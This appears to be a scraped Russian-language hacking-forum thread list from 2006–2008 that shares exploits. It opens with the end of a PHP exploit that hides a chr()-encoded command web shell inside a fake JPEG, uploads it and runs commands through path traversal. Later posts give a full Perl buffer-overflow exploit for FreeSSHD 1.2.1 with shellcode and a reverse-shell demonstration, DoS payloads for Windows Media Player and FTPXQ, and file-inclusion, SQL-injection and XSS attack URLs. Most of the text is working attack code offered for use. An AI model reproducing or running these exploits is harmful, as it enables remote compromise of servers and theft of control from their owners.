chr(0x61).chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).chr(0x28).
chr(0x24).chr(0x5f).chr(0x47).chr(0x45).chr(0x54).chr(0x5b).chr(0x22).chr(0x63).
chr(0x6d).chr(0x64).chr(0x22).chr(0x5d).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).
chr(0x24).chr(0x69).chr(0x6e).chr(0x3d).chr(0x22).chr(0x3c).chr(0x3f).chr(0x70).
chr(0x68).chr(0x70).chr(0x20).chr(0x6f).chr(0x62).chr(0x5f).chr(0x63).chr(0x6c).
chr(0x65).chr(0x61).chr(0x6e).chr(0x28).chr(0x29).chr(0x3b).chr(0x65).chr(0x63).
chr(0x68).chr(0x6f).chr(0x5c).chr(0x22).chr(0x48).chr(0x69).chr(0x20).chr(0x4d).
chr(0x61).chr(0x73).chr(0x74).chr(0x65).chr(0x72).chr(0x21).chr(0x5c).chr(0x22).
chr(0x3b).chr(0x69).chr(0x6e).chr(0x69).chr(0x5f).chr(0x73).chr(0x65).chr(0x74).
chr(0x28).chr(0x5c).chr(0x22).chr(0x6d).chr(0x61).chr(0x78).chr(0x5f).chr(0x65).
chr(0x78).chr(0x65).chr(0x63).chr(0x75).chr(0x74).chr(0x69).chr(0x6f).chr(0x6e).
chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).chr(0x5c).chr(0x22).chr(0x2c).
chr(0x30).chr(0x29).chr(0x3b).chr(0x70).chr(0x61).chr(0x73).chr(0x73).chr(0x74).
chr(0x68).chr(0x72).chr(0x75).chr(0x28).chr(0x5c).chr(0x24).chr(0x5f).chr(0x47).
chr(0x45).chr(0x54).chr(0x5b).chr(0x5c).chr(0x22).chr(0x63).chr(0x6d).chr(0x64).
chr(0x5c).chr(0x22).chr(0x5d).chr(0x29).chr(0x3b).chr(0x64).chr(0x69).chr(0x65).
chr(0x3b).chr(0x3f).chr(0x3e).chr(0x22).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x24).
chr(0x73).chr(0x75).chr(0x6e).chr(0x3d).chr(0x66).chr(0x6f).chr(0x70).chr(0x65).
chr(0x6e).chr(0x28).chr(0x22).chr(0x63).chr(0x6f).chr(0x6e).chr(0x66).chr(0x69).
chr(0x67).chr(0x2e).chr(0x64).chr(0x69).chr(0x73).chr(0x74).chr(0x2e).chr(0x70).
chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x22).chr(0x77).chr(0x22).chr(0x29).
chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x70).chr(0x75).chr(0x74).chr(0x73).
chr(0x28).chr(0x24).chr(0x73).chr(0x75).chr(0x6e).chr(0x2c).chr(0x24).chr(0x69).
chr(0x6e).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x63).chr(0x6c).
chr(0x6f).chr(0x73).chr(0x65).chr(0x28).chr(0x24).chr(0x73).chr(0x75).chr(0x6e).
chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x63).chr(0x68).chr(0x6d).chr(0x6f).
chr(0x64).chr(0x28).chr(0x22).chr(0x63).chr(0x6f).chr(0x6e).chr(0x66).chr(0x69).
chr(0x67).chr(0x2e).chr(0x64).chr(0x69).chr(0x73).chr(0x74).chr(0x2e).chr(0x70).
chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x37).chr(0x37).chr(0x37).chr(0x29).
chr(0x3b).chr(0x0d).chr(0x0a).chr(0x64).chr(0x69).chr(0x65).chr(0x3b).chr(0x0d).
chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).chr(0x4a).
chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x00).
chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).chr(0x00).
chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0xff).
chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).chr(0x01).
chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).chr(0x03).
chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).chr(0x01).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x09).
chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xc4).
chr(0x00).chr(0x14).chr(0x01).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x06).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).
chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).chr(0x03).chr(0x01).
chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).chr(0x3f).chr(0x00).
chr(0x3f).chr(0xc1).chr(0xc7).chr(0xdf).chr(0xff).chr(0xd9).chr(0x00);
srand(make_seed());
$v = rand(1,9999);
$evil="suntzu".$v.".jpg";
$data ="------------lNnHj26YsSTIS0qSMhw5MK\r\n";
$data.="Content-Disposition: form-data; name=\"action\"\r\n\r\n";
$data.="uploadimage\r\n";
$data.="------------lNnHj26YsSTIS0qSMhw5MK\r\n";
$data.="Content-Disposition: form-data; name=\"cat_id\"\r\n\r\n";
$data.=$CATID."\r\n";
$data.="------------lNnHj26YsSTIS0qSMhw5MK\r\n";
$data.="Content-Disposition: form-data; name=\"media_file\"; filename=\"".$evil."\"\r ";
$data.="Content-Type: image/jpeg\r\n\r\n";
$data.=$shell."\r\n";
$data.="------------lNnHj26YsSTIS0qSMhw5MK\r\n";
$data.="Content-Disposition: form-data; name=\"remote_media_file\"\r\n\r\n\r\n";
$data.="------------lNnHj26YsSTIS0qSMhw5MK\r\n";
$data.="Content-Disposition: form-data; name=\"thumb_file\"; filename=\"\"\r\n\r\n\r\n";;
$data.="------------lNnHj26YsSTIS0qSMhw5MK\r\n";
$data.="Content-Disposition: form-data; name=\"remote_thumb_file\"\r\n\r\n\r\n";
$data.="------------lNnHj26YsSTIS0qSMhw5MK\r\n";
$data.="Content-Disposition: form-data; name=\"image_name\"\r\n\r\n";
$data.="flower\r\n";
$data.="------------lNnHj26YsSTIS0qSMhw5MK\r\n";
$data.="Content-Disposition: form-data; name=\"image_description\"\r\n\r\n";
$data.="wonderful flower\r\n";
$data.="------------lNnHj26YsSTIS0qSMhw5MK\r\n";
$data.="Content-Disposition: form-data; name=\"image_keywords\"\r\n\r\n";
$data.="flower\r\n";
$data.="------------lNnHj26YsSTIS0qSMhw5MK--\r\n";
$packet ="POST ".$p."member.php HTTP/1.1\r\n";
$packet.="User-Agent: suntzoi\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Referer: http://".$host.$path."member.php?action=uploadform&cat_id=".$CATID."\r\n&quo t;;
$packet.="Connection: Close\r\n";
$packet.="Cookie:".$COOKIE."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=----------lNnHj26YsSTIS0qSMhw5MK\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);

# STEP 5 -> Launch commands...
$xpl="../../data/tmp_media/".$evil.chr(0x00);
$xpl=urlencode($xpl);
$packet ="GET ".$p."index.php?cmd=".urlencode($cmd)."&template=".$xpl." HTTP/1.1\r\n& quot;;
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master!",$html)) {die("Exploit succeeded...");}

for ($subf=1; $subf<=100; $subf++)
{
$xpl="../../data/media/".$subf."/".$evil.chr(0x00);
$xpl=urlencode($xpl);
$packet ="GET ".$p."index.php?cmd=".urlencode($cmd)."&template=".$xpl." HTTP/1.1\r\ n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master!",$html)) {die("Exploit succeeded...");}
}
//if you are here...
echo "Exploit failed...";

}
else
{echo "Fill * required fields for step 2 and followings, optionally specify a proxy...";}
echo "</span>";
?>

видео с использованием данной узвимости скачать 3,26 МБ

Sun Solaris
ID: 67686ba3b4103b69df379e04
Thread ID: 14840
Created: 2008-03-21T22:00:07+0000
Last Post: 2008-06-16T20:56:15+0000
Author: AKella
Prefix: Remote
Replies: 2 Views: 2K

Выполнение произвольных команд в Sun Solaris

21 марта, 2008

Программа: Sun Solaris 10

Опасность: Средняя

Наличие эксплоита: Да

Описание:
Уязвимость позволяет удаленному пользователю скомпрометировать целевую систему.

Уязвимость существует из-за некорректной обработки имен карт, отправленных с помощью обновления демону rpc.ypupdated. Удаленный пользователь может с помощью специально сформированного имени карты выполнить произвольные команды на системе. Для успешной эксплуатации уязвимости демон rpc.ypupdated должен быть запущен с опцией "-i" (не используется по умолчанию).

URL производителя: www.sun.com

Решение: Способов устранения уязвимости не существует в настоящее время.

:zns5: Скачать|Download

FreeSSHD 1.2.1 - выполнение произвольного кода
ID: 67686ba3b4103b69df379e06
Thread ID: 15149
Created: 2008-06-10T21:30:06+0000
Last Post: 2008-06-10T21:30:06+0000
Author: AKella
Prefix: Remote
Replies: 0 Views: 2K

Цель: FreeSSHD 1.2.1
Воздействие: Выполнение произвольного кода

Описание уязвимости:

  • Переполнение буфера в freeSSHd

Код эксплоита:

#!/usr/bin/perl

###############################################################################

FreeSSHD 1.2.1 (Post Auth) Remote Seh Overflow http://freeddsshd.com/

Exploit based on securfrog Poc http://www.milw0rm.com/exploits/5709

Coded by Matteo Memelli aka ryujin

Spaghetti & PwnSauce

>> http://www.be4mind.com http://www.gray-world.net <<

Tested on Windows XPSp2 EN / Windows Vista Ultimate EN

Offset for SEH overwrite is 3 Bytes greater in Windows Vista

Reliable Exploitation needs SSC

:)

`I Miss Python but...I Gotta learn some perl too

;)`

Cheers to #offsec friends and to my bro s4tan

###############################################################################

bt POCS # ./freeSSHD_exploit.pl 10.150.0.228 22 pwnme pwnme 2

[ + ] FreeSSHD 1.2.1 (Post Auth) Remote Seh Overflow

[ + ] Coded by Matteo Memelli aka ryujin

[ + ] SSC: Stack Spring Cleaning... >> rm thisJunk <<

[ + ] Exploiting FreSSHDService...

[ + ] Sending Payload...

[*] Done! CTRL-C and check your shell on port 4444

bt POCS # nc 10.150.0.228 4444

Microsoft Windows [Version 6.0.6000]

Copyright © 2006 Microsoft Corporation. All rights reserved.

C:\Users\ryujin\Desktop>

###############################################################################

use strict;
use Net::SSH2;

my $numArgs = $#ARGV + 1;
if ($numArgs != 5) {
print "Usage : ./freeSSHD_exploit.pl HOST PORT USER PASS TARGET\n";
print "TARGET: 1 -> XPSP2\n";
print "TARGET: 2 -> VISTA\n";
exit;
}

[*] Using Msf::Encoder::PexAlphaNum with final size of 709 bytes

ExitFunc=SEH

my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e".
"\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x48".
"\x4e\x56\x46\x42\x46\x32\x4b\x38\x45\x44\x4e\x33\x4b\x48\x4e\x47".
"\x45\x50\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x31\x4b\x58".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x44\x4b\x48\x46\x33\x4b\x38".
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c".
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x33\x46\x55\x46\x32\x4a\x42\x45\x37\x45\x4e\x4b\x48".
"\x4f\x35\x46\x42\x41\x30\x4b\x4e\x48\x46\x4b\x48\x4e\x50\x4b\x34".
"\x4b\x48\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x43\x50\x4e\x42\x4b\x58".
"\x49\x48\x4e\x46\x46\x32\x4e\x41\x41\x36\x43\x4c\x41\x53\x4b\x4d".
"\x46\x56\x4b\x48\x43\x34\x42\x43\x4b\x58\x42\x44\x4e\x30\x4b\x48".
"\x42\x37\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50\x50\x45\x4a\x36".
"\x50\x38\x50\x54\x50\x50\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x46".
"\x43\x35\x48\x46\x4a\x46\x43\x43\x44\x53\x4a\x46\x47\x57\x43\x37".
"\x44\x33\x4f\x35\x46\x55\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e".
"\x4e\x4f\x4b\x43\x42\x55\x4f\x4f\x48\x4d\x4f\x55\x49\x58\x45\x4e".
"\x48\x36\x41\x58\x4d\x4e\x4a\x50\x44\x50\x45\x55\x4c\x36\x44\x50".
"\x4f\x4f\x42\x4d\x4a\x36\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x45".
"\x4f\x4f\x48\x4d\x43\x35\x43\x35\x43\x45\x43\x35\x43\x35\x43\x54".
"\x43\x35\x43\x54\x43\x35\x4f\x4f\x42\x4d\x48\x46\x4a\x46\x41\x31".
"\x4e\x35\x48\x56\x43\x35\x49\x48\x41\x4e\x45\x39\x4a\x36\x46\x4a".
"\x4c\x51\x42\x37\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x36\x42\x31".
"\x41\x55\x45\x35\x4f\x4f\x42\x4d\x4a\x46\x46\x4a\x4d\x4a\x50\x32".
"\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d".
"\x4a\x56\x45\x4e\x49\x34\x48\x58\x49\x54\x47\x35\x4f\x4f\x48\x4d".
"\x42\x45\x46\x45\x46\x45\x45\x45\x4f\x4f\x42\x4d\x43\x59\x4a\x46".
"\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x35\x4f\x4f\x48\x4d\x45\x45".
"\x4f\x4f\x42\x4d\x48\x46\x4c\x46\x46\x46\x48\x36\x4a\x36\x43\x56".
"\x4d\x46\x49\x58\x45\x4e\x4c\x56\x42\x55\x49\x55\x49\x32\x4e\x4c".
"\x49\x38\x47\x4e\x4c\x46\x46\x34\x49\x38\x44\x4e\x41\x33\x42\x4c".
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x42\x50\x4f\x44\x44\x4e\x52".
"\x43\x39\x4d\x58\x4c\x47\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36".
"\x44\x37\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x37\x46\x54\x4f\x4f".
"\x48\x4d\x4b\x45\x47\x45\x44\x35\x41\x45\x41\x55\x41\x35\x4c\x46".
"\x41\x50\x41\x35\x41\x35\x45\x35\x41\x55\x4f\x4f\x42\x4d\x4a\x36".
"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x56".
"\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x38\x47\x45\x4e\x4f".
"\x43\x48\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d".
"\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x43\x35\x4f\x4f\x48\x4d".
"\x4f\x4f\x42\x4d\x5a";

my $nops = "\x90"x64;
my $offset1xp = "\x41"x242;
my $offset1vi = "\x41"x226;
my $offset2xp = "\x41"x24;
my $offset2vi = "\x41"x43;
my $ppr = "\xde\x13\x40";
my $jmpsxp = "\xeb\xe1\x90\x90";
my $jmpsvi = "\xeb\xce\x90\x90";
my $jmpn = "\xe9\x23\xfc\xff\xff";
my $ip = $ARGV[0];
my $port = int($ARGV[1]);
my $user = $ARGV[2];
my $pass = $ARGV[3];
my $payload = '';
if ($ARGV[4] == '1')
{
$payload = $nops.$shellcode.$offset1xp.$jmpn.$offset2xp.$jmpsxp.$ppr;
}
elsif ($ARGV[4] == '2')
{
$payload = $nops.$shellcode.$offset1vi.$jmpn.$offset2vi.$jmpsvi.$ppr;
}
else
{
print "[ - ] TARGET ERROR!\n";
exit;
}
print "[ + ] FreeSSHD 1.2.1 (Post Auth) Remote Seh Overflow\n";
print "[ + ] Coded by Matteo Memelli aka ryujin\n";
print "[ + ] SSC: Stack Spring Cleaning... >> rm thisJunk <<\n";

If you start the exploit before any other connection, everything is fine

otherwise exploit could become less reliable.

So let's rm some junk before exploiting our app...

for (my $count = 30; $count >= 1; $count--) {
my $ssh2 = Net::SSH2->new();
$ssh2->connect($ip, $port) || die "[ - ] Connnection Failed!";
$ssh2->auth_password($user,$pass)|| die "Wrong Username or Passwd!";
$ssh2->disconnect();
}
my $ssh2 = Net::SSH2->new();
$ssh2->connect($ip, $port) || die "[ - ] Connnection Failed!";
$ssh2->auth_password($user,$pass)|| die "Wrong Username or Passwd!";
print "[ + ] Exploiting FreSSHDService...\n";
print "[ + ] Sending Payload...\n";
print "[*] Done! CTRL-C and check your shell on port 4444\n";
my $sftp = $ssh2->sftp();
my $bad = $sftp->opendir($payload);
exit;

Click to expand...

Срыв буфера в Windows Media Player 10
ID: 67686ba3b4103b69df379e07
Thread ID: 14356
Created: 2006-12-08T22:32:25+0000
Last Post: 2006-12-08T22:32:25+0000
Author: f_s_b 37
Prefix: DoS
Replies: 0 Views: 2K

Программа: Microsoft Windows Media Player 10.00.00.4036, возможно более ранние версии.

Опасность: Высокая

Наличие эксплоита: Да

Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании или выполнить произвольный код на целевой системе.

Уязвимость существует из-за ошибки проверки границ данных при обработке "REF HREF" тегов в ASX плейлистах. Удаленный пользователь может с помощью специально сформированного ASX плейлиста, содержащего специально сформированный URL, вызвать переполнение динамической памяти и выполнить произвольный код на целевой системе.
Есть сплоит, вызывающий DoS(оригинальностью он не отличается =)), но мне что- то подсказывает, что это не предел...

Code:Copy to clipboard

asx><entry>
<ref href="AA:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA.mp3"/>
</entry></asx>

Источник: www.securitylab.ru

Переполнение буфера в WinRAR <=3.60
ID: 67686ba3b4103b69df379e08
Thread ID: 13957
Created: 2006-12-03T20:49:51+0000
Last Post: 2006-12-04T18:56:18+0000
Author: f_s_b 37
Prefix: Remote
Replies: 2 Views: 2K

Уязвимые версии <=3.60
В одном из самых известных архиваторов найдена уязвимость переполнения буфера,, в длинных имена архивов 7ZIP.
Уязвимость существует из-за ошибки при обработке длины имени файла в библиотеке 7zxa.dll. Удаленный пользователь может с помощью специально сформированного архива, содержащего файл со слишком длинным именем, вызвать переполнение буфера и выполнить произвольный код на целевой системе.
Наличествует и сплоит
источник

freeqboard 1.1 - php include
ID: 67686ba3b4103b69df379e09
Thread ID: 13897
Created: 2006-12-02T11:10:01+0000
Last Post: 2006-12-02T11:49:37+0000
Author: SAD1ST
Prefix: Web
Replies: 2 Views: 2K

**Найдена уязвимость в freeqboard 1.1 (qb_path).

Уязвимые версии: 1.1
**
Инклуд возможен на страницах:
about.php , contact.php , delete.php , faq.php , index.php

Код бага:

include "config.php";
include $qb_path."incs/mysql.php";

Пример:

www.site.com/[path]/index.php?qb_path=shellcode.txt?

www.site.com/[path]/faq.php?qb_path=shellcode.txt?

www.site.com/[path]/delete.php?qb_path=shellcode.txt?

www.site.com/[path]/contact.php?qb_path=shellcode.txt?

www.site.com/[path]/about.php?qb_path=shellcode.txt?

PHP Classifieds 7.x - SQL Injection
ID: 67686ba3b4103b69df379e0b
Thread ID: 13451
Created: 2006-11-08T11:07:29+0000
Last Post: 2006-11-09T05:38:47+0000
Author: ENFIX
Prefix: Web
Replies: 1 Views: 2K

PHP Classifieds - SQL Injection
Дата Выпуска: 2006-11-08
Уровень: Умеренно критический
Решение: Неисправленно
Software: PHP Classifieds 7.x

Описание:
Входящие данные в параметре "user_id" в detail.php, должным образом не проверяются перед SQL запросом. Эта уязвимость позволяет управлять запросами, вводя произвольный код SQL.

Примеры:

Code:Copy to clipboard

 http://[host]/detail.php=user_id=SQL

Источник: secunia.com

phpComasy 0.x - XSS
ID: 67686ba3b4103b69df379e0c
Thread ID: 13449
Created: 2006-11-08T11:00:51+0000
Last Post: 2006-11-08T11:00:51+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

phpComasy - Cross Site Scripting
Дата Выпуска: 2006-11-08
Уровень: Менее критический
Решение: Неисправленно
Software: phpComasy 0.x

Описание:
Входящие данные в параметрахк "username", и "password" в index.php должным образом не проверяются перед возращением пользователя. Это может эксплуатироваться, чтобы выполнить произвольный HTML и код XSS на сессии браузера пользователя в контексте уязвимого сайта.

Примеры:

Code:Copy to clipboard

http://[host]/index.php?username=XSS&password=XSS

Источник: secunia.com

If-CMS 1.x/2.x - XSS
ID: 67686ba3b4103b69df379e0d
Thread ID: 13425
Created: 2006-11-07T21:13:06+0000
Last Post: 2006-11-07T21:13:06+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

If-CMS - XSS
Дата Выпуска: 2006-11-06
Уровень: Менее критический
Решение: Неисправленно
Software: If-CMS 1.x, If-CMS 2.x

Описание:
Входящие данные в параметре "rns" в index.php, должным образом не проверяются перед возвращинием их пользователю. Это может эксплуатироваться, чтобы выполнить произвольный HTML и код XSS на сессии браузера пользователя в контексте уязвимого движка.

Пример:

Code:Copy to clipboard

http://[host]/index.php?rns=XSS

Источник: secunia.com

phpDynaSite 3.x - File Inclusion Vulnerabilities
ID: 67686ba3b4103b69df379e0e
Thread ID: 13422
Created: 2006-11-07T20:52:45+0000
Last Post: 2006-11-07T20:52:45+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

phpDynaSite - File Inclusion Vulnerabilities

Дата Выпуска: 2006-11-06
Уровень: Высоко критический
Решение: Неисправленно
Software: phpDynaSite 3.x
Описание:
Входящие данные, в параметре "racine" в function_log.php, function_balise_url.php, и connection.php должным образом не проверяются перед инклудом. Это может эксплуатироваться, чтобы заинклудить произвольный скрипт.

Примеры:

Code:Copy to clipboard

http://[host]/function_log.php?racine=
http://[host]/function_balise_url.php?racine=
http://[host]/connection.php?racine=

Успешная эксплуатация требует, чтобы "register_globals" был включен.

Источник: secunia.com

Cyberfolio 2.x - File Inclusion Vulnerabilities
ID: 67686ba3b4103b69df379e0f
Thread ID: 13419
Created: 2006-11-07T20:31:03+0000
Last Post: 2006-11-07T20:31:03+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

Cyberfolio File Inclusion Vulnerabilities
Дата Выпуска: 2006-11-06
Уровень: Высоко критический
Решение: Неисправленно
Software: Cyberfolio 2.x
Описание:
Входящие данные в параметре "av" в view.php, inc_message.php, inc_envoi.php, и другие, должным образом не проверяются на внешний инклуд. Это может эксплуатироваться, чтобы заинклудить произвольный скрипт.
Примеры:

Code:Copy to clipboard

http: // [host]/portfolio/msg/view.php?av=
http: // [host]/portfolio/msg/inc_message.php?av=
http: // [host]/portfolio/msg/inc_envoi.php?av=
http: // [host]/portfolio/admin/incl_voir_compet.php?av=

Успешная эксплуатация требует, чтобы "register_globals" был включен.

FTPXQ Denial of service exploit.
ID: 67686ba3b4103b69df379e10
Thread ID: 12924
Created: 2006-10-26T05:16:00+0000
Last Post: 2006-10-26T05:16:00+0000
Author: FlatL1ne
Prefix: DoS
Replies: 0 Views: 2K

/*

  • 0xf_ftpxq.c - FTPXQ Denial of service exploit.
  • Federico Fazzi
  • advisory by Eric Sesterhenn.
  • -- Server built using the WinsockQ from DataWizard Technologies. A
    security
  • -- vulnerability in the product allows remote attackers to overflow an
  • -- internal buffer by providing an overly long "make directory" request.
  • r20061025.
    */

Code:Copy to clipboard

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

// AAAAAAAAAAAAAAAA..AA*255 in hex format.
char bof[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
